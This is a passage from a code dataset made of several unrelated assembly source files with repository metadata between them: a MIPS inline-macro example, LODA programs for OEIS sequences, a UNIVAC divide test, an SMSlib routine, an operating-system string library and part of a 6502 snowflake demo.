] | 27 | 2020-09-01T00:44:10.000Z | 2021-05-10T15:59:46.000Z | src/main/resources/Examples/PreProcessing Commands/definline memoryLables.asm | jimw278/MIPS | 13d666f46ad945f038514768d975150d89cd612b | [
"Apache-2.0"
] | 1 | 2020-12-05T00:14:11.000Z | 2020-12-05T00:14:11.000Z | ;define inline defines a small bit of code that can be represented by one line (using the identifier of the defined section)
;this is NOT a function call it simply places the code defined within its body where ever it is used
;you can also define a list of 'variables' that will be replaced with whatever you define them as later
;this examples shows that using definline can create its own unique memory labes
#definline printStringAt memLable, printTimes ;prints the string at memoryLable, printTimes times
;changes register 1, 10, 5, 4
add $10, $0, $0 ;zeros register 10
addi $5, $0, 1;loads byte step for string
llo $4, memLable:LH
lhi $4, memLable:HH
loop:
trap 4;prints string
addi $10, $10, 1 ;incs counter
slti $1, $10, printTimes ;jumps if counter is less than printTimes
bgtz $1, loop
#endinline
#define loopTimes 3;defines the ammount of times the program will loop
main: ;start of main program
add $11, $0, $0 ;zeros register 11
loop:
printStringAt string1, 4 ;prints string1 4 times
printStringAt string2, 2;prints string2 2 times
addi $11, $11, 1 ;incs counter
slti $1, $11, loopTimes ;jumps if counter is less than loopTimes
bgtz $1, loop
trap 0;stops the program
string1:
.ascii "This is bruh"
.byte 10, 0
string2:
.ascii "LOL maybe not"
.byte 10, 0 | 25.66 | 124 | 0.751364 |
06c5ad43702aae4cf82861049e2b7fd14ba16a27 | 845 | asm | Assembly | oeis/147/A147834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/147/A147834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/147/A147834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A147834: Coefficient expansion of the characteristic polynomial of the {3,4,5} simplex matrix: M = {{0, 3, 0}, {0, 0, 4}, {1, 1, 1}}; p(x)=12 + 4 x + x^2 - x^3.
; Submitted by Jon Maiga
; 1,1,5,21,53,197,661,2085,7093,23365,76757,255333,842741,2785157,9220117,30473637,100775989,333311941,1102099541,3644659173,12052800629,39856631813,131803744405,435863879205,1441358438581,4766458888261,15762259193045,52124396009061,172370939440373,570015633793157,1884992143663381,6233505952120485,20613662132291893,68167591664734405,225424311619347797,745458623865788133,2465166970319992181,8152093205215318277,26958264572884744597,89148641037585923877,294806817791708721589,974900556816669352261
lpb $0
sub $0,1
add $1,1
mov $3,$1
add $4,1
mov $1,$4
mul $1,3
mul $3,4
add $2,$3
mov $4,$2
sub $4,$3
add $1,$4
lpe
mov $0,$4
add $0,1
| 42.25 | 498 | 0.760947 |
04e9d17c1422899b7f182190031c852f2b58cb42 | 985 | asm | Assembly | oeis/076/A076218.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/076/A076218.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/076/A076218.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A076218: Numbers n such that 2*n^2 - 3*n + 1 is a square.
; Submitted by Christian Krause
; 0,1,5,145,4901,166465,5654885,192099601,6525731525,221682772225,7530688524101,255821727047185,8690408031080165,295218051329678401,10028723337177985445,340681375412721826705,11573138040695364122501,393146012008229658338305,13355391270239113019379845,453690157176121613000576401,15412109952717895729000217765,523558048235232333173006827585,17785561530045181432153231920101,604185533973300936360036878455825,20524522593562186654809100635577925,697229582647141045327149384731193601
lpb $0
sub $0,1
mul $0,2
mov $2,$0
mod $0,2
max $2,0
seq $2,99938 ; Consider the sequence of circles C0, C1, C2, C3 ..., where C0 is a half-circle of radius 1. C1 is the largest circle that fits into C0 and has radius 1/2. C(n+1) is the largest circle that fits inside C0 but outside C(n), etc. Sequence gives the curvatures (reciprocals of the radii) of the circles.
lpe
mov $0,$2
add $0,2
div $0,4
| 61.5625 | 479 | 0.808122 |
e73985ec6623f20cb05310d757a720a0b44019c7 | 1,407 | asm | Assembly | U9200/CardFiles/Source/dp_test.asm | sboydlns/univacemulators | c630b2497bee9cb9a18b4fa05be9157d7161bca3 | [
"MIT"
] | 2 | 2021-02-09T21:54:54.000Z | 2021-09-04T03:30:50.000Z | U9200/CardFiles/Source/dp_test.asm | sboydlns/univacemulators | c630b2497bee9cb9a18b4fa05be9157d7161bca3 | [
"MIT"
] | null | null | null | U9200/CardFiles/Source/dp_test.asm | sboydlns/univacemulators | c630b2497bee9cb9a18b4fa05be9157d7161bca3 | [
"MIT"
] | null | null | null | ***********************************************************
*
* EXEC-1 tester
*
***********************************************************
E1TS START 0
USING *,0
DS 0H
STRT EQU *
*
* Ask user for test number
*
LOOP MSG X'001',REPLY
RSP1 EQU LOOP+7
CLI RSP1,1
BC 8,T1
CLI RSP1,2
BC 8,T2
BC 15,LOOP
*
* T1 - Divide no remainder
*
T1 ZAP RSLT,P10
DP RSLT,P5
CP RSLT(2),P2
BC 8,T1A
MSG X'002' OOPS! QUOTIENT <> 2
BC 15,LOOP
T1A CP RSLT+2(2),P0
BC 8,LOOP
MSG X'003' OOPS! REMO <> 0
BC 15,LOOP
*
* T2 - Divide with remainder
*
T2 EQU *
ZAP RSLT,P10
DP RSLT,P3
CP RSLT(2),P3
BC 8,T2A
MSG X'004' OOPS! QUOTIENT <> 3
BC 15,LOOP
T2A CP RSLT+2(2),P1
BC 8,LOOP
MSG X'005' OOPS! REM <> 1
BC 15,LOOP
RSLT DS CL4
P10 DC XL2'010C'
P5 DC XL2'005C'
P3 DC XL2'003C'
P2 DC XL2'002C'
P1 DC XL2'001C'
P0 DC XL2'000C'
END STRT
| 23.45 | 60 | 0.326226 |
604da09e0e9b12c6fb44a99c3219f8bde928f846 | 396 | asm | Assembly | programs/oeis/187/A187322.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/187/A187322.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/187/A187322.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A187322: a(n) = floor(n/2) + floor(3*n/4).
; 0,0,2,3,5,5,7,8,10,10,12,13,15,15,17,18,20,20,22,23,25,25,27,28,30,30,32,33,35,35,37,38,40,40,42,43,45,45,47,48,50,50,52,53,55,55,57,58,60,60,62,63,65,65,67,68,70,70,72,73,75,75,77,78,80,80,82,83,85,85,87,88,90,90,92,93,95,95,97,98,100,100,102,103,105,105,107,108,110,110,112,113,115,115,117,118,120,120,122,123
mul $0,3
div $0,2
mul $0,5
div $0,6
| 49.5 | 313 | 0.646465 |
c7a6f47c00f7258e6ee62052acb79bcfffc78889 | 187 | asm | Assembly | data/pokemon/dex_entries/munchlax.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/dex_entries/munchlax.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/dex_entries/munchlax.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | db "BIG EATER@" ; species name
db "It conceals food"
next "under the long fur"
next "on its body. It"
page "carts around this"
next "food stash and"
next "swallows it whole.@"
| 18.7 | 31 | 0.668449 |
8c5567d7a94d0136b79d96daf1e4756e48735711 | 746 | asm | Assembly | oeis/005/A005043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/005/A005043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/005/A005043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A005043: Riordan numbers: a(n) = (n-1)*(2*a(n-1) + 3*a(n-2))/(n+1).
; Submitted by Christian Krause
; 1,0,1,1,3,6,15,36,91,232,603,1585,4213,11298,30537,83097,227475,625992,1730787,4805595,13393689,37458330,105089229,295673994,834086421,2358641376,6684761125,18985057351,54022715451,154000562758,439742222071,1257643249140,3602118427251,10331450919456,29671013856627,85317692667643,245613376802185,707854577312178,2042162142208813,5897493615536452,17047255430494497,49320944483427000,142816973618414817,413887836110423787,1200394300050487935,3484084625456932134,10119592485062548155
add $0,1
mov $1,1
mov $3,$0
mov $4,1
lpb $3
sub $3,1
div $4,-1
mul $4,$3
add $5,$1
add $1,1
mod $1,2
div $4,$5
add $2,$4
lpe
mov $0,$2
add $0,1
| 35.52381 | 482 | 0.766756 |
5c86374aa1c8b20a1fa5f8d6cd24236653be8270 | 461 | asm | Assembly | libsrc/_DEVELOPMENT/arch/sms/SMSlib/z80/asm_SMSlib_VDPType.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/sms/SMSlib/z80/asm_SMSlib_VDPType.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/sms/SMSlib/z80/asm_SMSlib_VDPType.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; **************************************************
; SMSlib - C programming library for the SMS/GG
; ( part of devkitSMS - github.com/sverx/devkitSMS )
; **************************************************
INCLUDE "SMSlib_private.inc"
SECTION code_clib
SECTION code_SMSlib
PUBLIC asm_SMSlib_VDPType
EXTERN __SMSlib_VDPType
asm_SMSlib_VDPType:
; unsigned char SMS_VDPType (void)
;
; exit : l = vdp type
;
; uses : hl
ld hl,(__SMSlib_VDPType)
ret
| 18.44 | 52 | 0.572668 |
45482f8fc412ebb6b77cbc0183a48b57d206536a | 17,830 | asm | Assembly | dimension/cell/lib/string/common/common.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | 7 | 2019-03-04T08:53:33.000Z | 2022-01-28T19:32:12.000Z | dimension/cell/lib/string/common/common.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | null | null | null | dimension/cell/lib/string/common/common.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | null | null | null | ;; $Header: /cvsroot/uuu/dimension/cell/lib/string/common/common.asm,v 1.5 2002/08/11 07:41:24 lukas2000 Exp $
;;
;; Common string functions cell -- provides incredibly common string functions
;; Copyright (C) 2001 Phil Frost
;; Distributed under the BSD license; see file "license" for details.
;;
;; The code in this cell comes from many, many authors, I just created it :P
; -----------------------------------
; section .c_init
;==============================================================================
section .c_init
global _start
_start:
; We do nothing here
; added by Luke
retn
section .text
globalfunc lib.string.ascii_hex_to_reg
;------------------------------------------------------------------------------
;>
;; converts an ascii string in hex into a number in a register. Reads until a
;; non-number char is found. This function does not take care of any leading
;; "0x" or trailing "h" or anything of that sort. Valid chars are [0-9A-Fa-f];
;; there is no overflow protection.
;;
;; parameters:
;; -----------
;; ESI = ptr to string
;;
;; returned values:
;; ----------------
;; EDX = number
;; EAX = destroyed
;; ECX = number of bytes read
;; registers as usual
;<
xor edx, edx
xor ecx, ecx
movzx eax, byte[esi+ecx]
cmp al, "0"
jl .retn
sub eax, byte 0x30
cmp al, "9"-"0"
jle .add_char
cmp al, "A"-0x30
jl .retn
sub eax, byte 0x7
cmp al, "F"-0x37
jle .add_char
cmp al, "a"-0x37
jl .retn
sub eax, byte 0x20
cmp al, "f"-0x57
jnle .retn
.add_char:
shl edx, 4
add edx, eax
inc ecx
movzx eax, byte[esi+ecx]
cmp al, "0"
jl .retn
sub eax, byte 0x30
cmp al, "9"-"0"
jle .add_char
cmp al, "A"-0x30
jl .retn
sub eax, byte 0x7
cmp al, "F"-0x37
jle .add_char
cmp al, "a"-0x37
jl .retn
sub eax, byte 0x20
cmp al, "f"-0x57
jle .add_char
.retn:
retn
;------------------------------------------------------------------------------
globalfunc lib.string.ascii_decimal_to_reg
;------------------------------------------------------------------------------
;>
;; converts a string into a number in a register. Reads until a non-number
;; char is found. There is no overflow protection.
;;
;; parameters:
;; -----------
;; ESI = ptr to string
;;
;; returned values:
;; ----------------
;; EDX = number
;; EAX = destroyed
;; ECX = number of bytes read
;; registers as usual
;<
xor edx, edx
xor ecx, ecx
movzx eax, byte[esi+ecx]
cmp al, "0"
jl .retn
cmp al, "9"
ja .retn
.add_char:
sub eax, byte "0"
add edx, edx
lea edx, [edx*5]
add edx, eax
inc ecx
movzx eax, byte[esi+ecx]
cmp al, "0"
jl .retn
cmp al, "9"
jna .add_char
.retn:
retn
;------------------------------------------------------------------------------
globalfunc lib.string.find_length_dword_aligned
;------------------------------------------------------------------------------
;>
;; parameters:
;; -----------
;; ESI = pointer to single null-terminated string
;;
;; returned values:
;; ----------------
;; ECX = string length
;; all other registers = unmodified
;<
xor ecx, ecx
push eax
push esi
.searching_null_terminator:
mov eax, [esi]
add eax, dword 0xFEFEFEFF
jnc short .zero_detected
mov eax, [byte esi + 4]
add ecx, byte 4
add eax, dword 0xFEFEFEFF
jnc short .zero_detected
mov eax, [byte esi + 8]
add ecx, byte 4
add eax, dword 0xFEFEFEFF
jnc short .zero_detected
mov eax, [byte esi + 12]
add ecx, byte 4
add eax, dword 0xFEFEFEFF
jnc short .zero_detected
add ecx, byte 4
add esi, byte 16
jmp short .searching_null_terminator
.zero_detected:
sub eax, 0xFEFEFEFF
jz short .length_found
inc ecx
or ah, ah
jz short .length_found
shr eax, 16
inc ecx
or al, al
jz short .length_found
inc ecx
.length_found:
pop esi
pop eax
retn
;------------------------------------------------------------------------------
globalfunc lib.string.find_length
;------------------------------------------------------------------------------
;>
;; parameters:
;; -----------
;; ESI = pointer to single null-terminated string
;;
;; returned values:
;; ----------------
;; ECX = string length
;; all other registers = unmodified
;<
push eax
push ebx
xor ecx, ecx
.processing:
mov eax, [esi + ecx]
mov ebx, [esi + ecx + 4]
test al, al
jz short .string_plus_0
test ah, ah
jz short .string_plus_1
test eax, 0x00FF0000
jz short .string_plus_2
test eax, 0xFF000000
jz short .string_plus_3
test bl, bl
jz short .string_plus_4
test bh, bh
jz short .string_plus_5
test ebx, 0x00FF0000
jz short .string_plus_6
test ebx, 0xFF000000
jz short .string_plus_7
add ecx, byte 8
jmp short .processing
.string_plus_4:
add ecx, byte 4
pop ebx
pop eax
retn
.string_plus_3:
add ecx, byte 3
pop ebx
pop eax
retn
.string_plus_2:
inc ecx
.string_plus_1:
inc ecx
.string_plus_0:
pop ebx
pop eax
retn
.string_plus_5:
add ecx, byte 5
pop ebx
pop eax
retn
.string_plus_6:
add ecx, byte 6
pop ebx
pop eax
retn
.string_plus_7:
add ecx, byte 7
pop ebx
pop eax
retn
;------------------------------------------------------------------------------
globalfunc lib.string.read_line
;------------------------------------------------------------------------------
;>
;; Reads a line (terminated with 0xa) from a file into an already allocated
;; buffer. No null is put on the end of the string; the 0xa is also put into
;; the buffer.
;;
;; This particular read_line flavor checks for backspaces and backs up in the
;; buffer if it finds one.
;;
;; parameters:
;; -----------
;; EBX = file to read from
;; ECX = max buffer size; if this many bytes are read with no 0xa found, the
;; call returns.
;; EDI = ptr to buffer to read to
;;
;; returned values:
;; ----------------
;; ECX = number of bytes read
;; registers and errors as usual
;<
push ebp
push edx
push esi
push edi
mov ebp, [ebx+file_descriptor.op_table]
mov edx, ecx
xor ecx, ecx
xor esi, esi ; esi will track how many bytes we have read
inc ecx
;; EDX = ECX from call
;; ESI = 0
;; ECX = 1
;; EBX = file pointer
;; EBP = op table
.get_char:
call [ebp+file_op_table.read]
jc .retn
mov al, [edi]
cmp al, 0x8
je .bs
call lib.string.print_char ; echo to display
inc edi
inc esi
cmp esi, edx
je .retn
cmp al, 0xa
jne .get_char
.retn:
mov ecx, esi
pop edi
pop esi
pop edx
pop ebp
retn
.bs:
test esi, esi
jz .get_char ; don't backspace further than the beginning of the buf
dec esi
dec edi
call lib.string.print_char
jmp short .get_char
;------------------------------------------------------------------------------
globalfunc lib.string.get_char
;------------------------------------------------------------------------------
;>
;; reads a single byte from a file. Note that it's much more efficient to read
;; multiple bytes at a time, if possible.
;;
;; parameters:
;; -----------
;; EBX = ptr to file descriptor of file to print to
;;
;; returned values:
;; ----------------
;; AL = byte read
;; errors and registers as usual
;<
push edi
push ecx
push byte 0
xor ecx, ecx
mov edi, esp
inc ecx
mov ebp, [ebx+file_descriptor.op_table] ; EBP NOT NEEDED
; ANYMORE IN PARAMS
call [ebp+file_op_table.read]
pop eax
pop ecx
pop edi
retn
;------------------------------------------------------------------------------
globalfunc lib.string.print_char
;------------------------------------------------------------------------------
;>
;; prints a single byte to a file. Note that if you have many bytes to print
;; it's much more efficient to print them at once.
;;
;; parameters:
;; -----------
;; AL = byte to print
;; EBX = ptr to file descriptor of file to print to
;;
;; returned values:
;; ----------------
;; registers and errors as usual
;<
push esi
push ecx
push eax
xor ecx, ecx
mov esi, esp
inc ecx
mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE
call [ebp+file_op_table.write]
pop eax
pop ecx
pop esi
retn
;------------------------------------------------------------------------------
globalfunc lib.string.print_dec_no_pad
;------------------------------------------------------------------------------
;>
;; Prints EDX to a file as a decimal number with no leading zeros.
;;
;; parameters:
;; -----------
;; EDX = number to print
;; EBX = file to print to
;;
;; returned values:
;; ----------------
;; registers and errors as usual
;<
push edi
push esi
push ecx
sub esp, byte 10
mov edi, esp
call lib.string.dword_to_decimal_no_pad
mov esi, edi
mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE
call [ebp+file_op_table.write]
jc .error
add esp, byte 10
pop ecx
pop esi
pop edi
retn
.error:
add esp, byte 10
pop ecx
pop esi
pop edi
stc
retn
;------------------------------------------------------------------------------
globalfunc lib.string.print_hex
;------------------------------------------------------------------------------
;>
;; prints EDX as an 8 digit number in hex to a file
;;
;; parameters:
;; -----------
;; EDX = number to print
;; EBX = file to print to
;;
;; returned values:
;; ----------------
;; registers and errors as usual
;<
push edi
push esi
push ecx
mov ecx, 8
sub esp, ecx
mov edi, esp
call lib.string.dword_to_hex
jc .error
mov esi, edi
mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE
call [ebp+file_op_table.write]
add esp, ecx
pop ecx
pop esi
pop edi
retn
.error:
add esp, ecx
pop ecx
pop esi
pop edi
stc
retn
;------------------------------------------------------------------------------
globalfunc lib.string.dword_to_hex
;------------------------------------------------------------------------------
;>
;; converts EDX to an ascii string in hex, using uppercase letters, padded to
;; a specified number of digits with zeros. No null is put in the string, just
;; the ascii chars.
;;
;; parameters:
;; -----------
;; EDX = number to convert
;; EDI = ptr to buffer to put string in (ECX bytes needed)
;; ECX = number of chars to convert (2 converts DL, 4 DX, 8 EDX, etc.)
;;
;; returned values:
;; ----------------
;; AL = last digit converted, in ascii
;; registers as usual
;<
push ecx
shl ecx, 2
ror edx, cl
shr ecx, 2
add edi, ecx
neg ecx
.loop:
rol edx, 4
mov al, dl
and al, 0x0f
cmp al, 0x0a
sbb al, 0x69
das
mov [edi+ecx], al
inc ecx
jnz .loop
pop ecx
sub edi, ecx
retn
;------------------------------------------------------------------------------
globalfunc lib.string.dword_to_decimal_no_pad
;------------------------------------------------------------------------------
;>
;; converts EDX to an ascii string supressing leading zeros.
;;
;; based on example code in the AMD Athlon optimization manual
;;
;; parameters:
;; -----------
;; EDX = number to convert
;; EDI = ptr to buffer (max of 10 bytes needed)
;;
;; returned values:
;; ----------------
;; ECX = number of bytes used
;; registers as usual
;<
pushad
mov eax, edx
mov ecx, edx
mov edx, 0x89705f41
mul edx
add eax, eax
adc edx, byte 0
shr edx, 29
mov eax, edx
mov ebx, edx
imul eax, 1000000000
sub ecx, eax
or dl, '0'
mov [edi], dl
cmp ebx, byte 1
sbb edi, byte -1
mov eax, ecx
mov edx, 0xabcc7712
mul edx
shr eax, 30
lea edx, [eax+4*edx+1]
mov eax, edx
shr eax, 28
and edx, 0xfffffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 27
and edx, 0x7ffffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 26
and edx, 0x3ffffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 25
and edx, 0x1ffffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 24
and edx, 0xffffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 23
and edx, 0x7fffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 22
and edx, 0x3fffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
lea edx, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 21
and edx, 0x1fffff
or ebx, eax
or eax, '0'
mov [edi], al
lea eax, [edx*5]
cmp ebx, byte 1
sbb edi, byte -1
shr eax, 20
or eax, '0'
mov [edi], al
sub edi, [esp]
inc edi
mov [esp+24], edi
popad
mov esi, edi
retn
;------------------------------------------------------------------------------
globalfunc lib.string.match_pattern
;------------------------------------------------------------------------------
;>
;; Compare if a given string matches the given pattern. The pattern may contain
;; the following wildcards:
;; * match any number of chars
;; ? match any single character
;;
;; UTF-8 string/pattern supported.
;;
;; parameters:
;;------------
;; ESI = pointer to string to check
;; EDI = pointer to pattern "*?a*txt" etc..
;;
;; returns:
;; --------
;; ecx result (0 = failed, 1 = match found)
;;
;; Copyright (C) 2002, Dave Poirier
;; Distributed under the X11 License.
;<
;------------------------------------------------------------------------------
xor ecx, ecx ; set return code to failed by default
pushad ; backup all regs
mov ebp, esp ; mark entry TOS
mov cl, '*' ;
mov ah, '?' ;
;
; while string char != 0
.checking: ;-----------------------
cmp [esi], byte ch ; char is = 0?
jz short .end ; if so, mainloop done
;
; check for wildcard "*"
;-----------------------
cmp [edi], byte cl ; pattern to match is wildcard *?
jnz short .regcomp ; if not, match a single char
;
; catch multiple successive "*"
.catch_wc: ;------------------------------
inc edi ; move to next char of pattern
cmp [edi], byte cl ; is it another "*" ?
jz short .catch_wc ; if so, we got one, continue
;
; check if pattern end with "*"
;------------------------------
cmp [edi], byte ch ; end of pattern reached?
jz short .success ; yip, we got a match
;
; find first matching char after "*"
;-----------------------------------
cmp [edi], byte ah ; a "?" right after a "*" ?
jz short .wildcard_char_matched ; if so match the char without checking
.wc_match: ;
lodsb ; load char and move to the next
cmp al, ch ; check if it's end of string
jz .exit ; if it is, fail
cmp [edi], byte al ; compare with pattern char searched
jnz short .wc_match ; in case they don't match, continue
dec esi ; found, adjust to right string char
;
.wildcard_char_matched: ;
push esi ; save current string char position
push edi ; save position of last wildcard + 1
;
.regcomp: ; Check for a character match
;----------------------------
mov al, [edi] ; load pattern char
cmp [esi], byte al ; compare with string char
jz short .char_matched ; couldn't match, go back to wildchar
cmp al, ah ; check if pattern char is "?"
jnz short .wildcard_fallback ; in case it is, single char matched
;
.char_matched_any: ; pattern is '?', go to next UTF-8 char
cmp [esi], byte 0x80 ; was it a compound char?
inc esi ; attempt a move foward (CF is kept OK)
jnb short .char_matched_any ; if so, attempt another move foward
dec esi ; end of char reached, adjusting ptr
;
.char_matched: ; chars matched
;--------------
inc esi ; select next string char
inc edi ; select next pattern char
jmp short .checking ; continue searching for a match
;
;
.wildcard_fallback: ; try to get back to last wildchar "*"
;-------------------------------------
cmp ebp, esp ; any "*" left in store?
jz short .exit ; nope, pattern not matching
;
; get back to last "*" found
;---------------------------
pop edi ; restore ptr to pattern char
pop esi ; restore ptr to string char
inc esi ; prevent infinite loop, one char match
dec edi ; adjust pattern ptr to "*"
jmp short .checking ; continue checking
;
.end: ; end of string found
;--------------------
xchg eax, ecx ; get "*" in al
repz scasb ; find first non-matching char
cmp [edi - 1], ah ; non-matching char is end of string?
jnz short .exit ; if not, failed to match
;
.success: ; match found, return 1
;----------------------
inc byte [ebp + 24] ; set return value to 1
;
.exit: ; restore original parameters and quit
;-------------------------------------
mov esp, ebp ; restore TOS like it was at the start
popad ; restore all regs
retn ; return to caller
;------------------------------------------------------[88 bytes]--------------
;------------------------------------------------------------------------------
section .c_info
;==============================================================================
db 0, 0, 1, 'a'
dd str_cellname
dd str_author
dd str_copyrights
str_cellname: dd "common string functions"
str_author: dd 'various authors'
str_copyrights: dd 'Copyright 2001 by Phil Frost; distributed under the BSD license'
;==============================================================================
| 22.742347 | 110 | 0.528211 |
6100a32acff25f7cab4a158b28122d09d49019de | 422 | asm | Assembly | programs/oeis/008/A008589.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/008/A008589.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/008/A008589.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A008589: Multiples of 7.
; 0,7,14,21,28,35,42,49,56,63,70,77,84,91,98,105,112,119,126,133,140,147,154,161,168,175,182,189,196,203,210,217,224,231,238,245,252,259,266,273,280,287,294,301,308,315,322,329,336,343,350,357,364,371,378,385,392,399,406,413,420,427,434,441,448,455,462,469,476,483,490,497,504,511,518,525,532,539,546,553,560,567,574,581,588,595,602,609,616,623,630,637,644,651,658,665,672,679,686,693
mul $0,7
| 84.4 | 384 | 0.727488 |
cbb72e8908225c5b9e3e7c5d0bf365fdce449985 | 3,542 | asm | Assembly | hacks/images/m6502/sflake.asm | MBrassey/xscreensaver_BlueMatrix | 2152a79ec08a676d940158735700087323d4a556 | [
"CC0-1.0"
] | 2 | 2020-07-15T07:40:50.000Z | 2020-09-01T05:51:36.000Z | hacks/images/m6502/sflake.asm | luc1dLife/xscreensaver_BlueMatrix | 2152a79ec08a676d940158735700087323d4a556 | [
"CC0-1.0"
] | null | null | null | hacks/images/m6502/sflake.asm | luc1dLife/xscreensaver_BlueMatrix | 2152a79ec08a676d940158735700087323d4a556 | [
"CC0-1.0"
] | null | null | null | ;; Jeremy English 01-December-2008
;; Snowflakes
;; Main loop Count
lda #7
sta $f
;; pattern number
lda #0
sta $10
;;Cells
lda #$00
sta $4
lda #$10
sta $5
;;Tmp
lda #$00
sta $6
lda #$11
sta $7
;;Init Cells Buffer
;;------------------------------------------------------------
ldy #$ff
initCells:
lda #0
sta ($4),y
sta ($6),y
dey
bne initCells
;;Set start position
ldy #115
lda #1
sta ($4),y
;;Setup offset
lda #15
sta $d
lda #16
sta $e
;;Start of main loop
;;------------------------------------------------------------
mainloop:
;;init indent
;;We want to indent every other line
lda #0
sta $a
lda #0
sta $9
;; Display Cells
;;------------------------------------------------------------
;; 248 is the total number of cells
ldy #248
display:
lda #0
sta $8
lda $a
beq stop16
lda #15
sta $b
lda #1
sta $8
jmp toggle
stop16:
lda #16
sta $b
toggle:
lda $a
eor #1
sta $a
;; Set the stop position
ldx $b
inner_display:
dex
txa
pha
dey
tya
pha
lda ($4),y
beq display_continue
ldx $8
ldy $9
lda #1
jsr paint
ldx $8
ldy $9
inx
jsr paint
ldx $8
ldy $9
iny
jsr paint
ldx $8
ldy $9
inx
iny
jsr paint
display_continue:
inc $8
inc $8
;;Life Cycle
;;------------------------------------------------------------
pla
tay
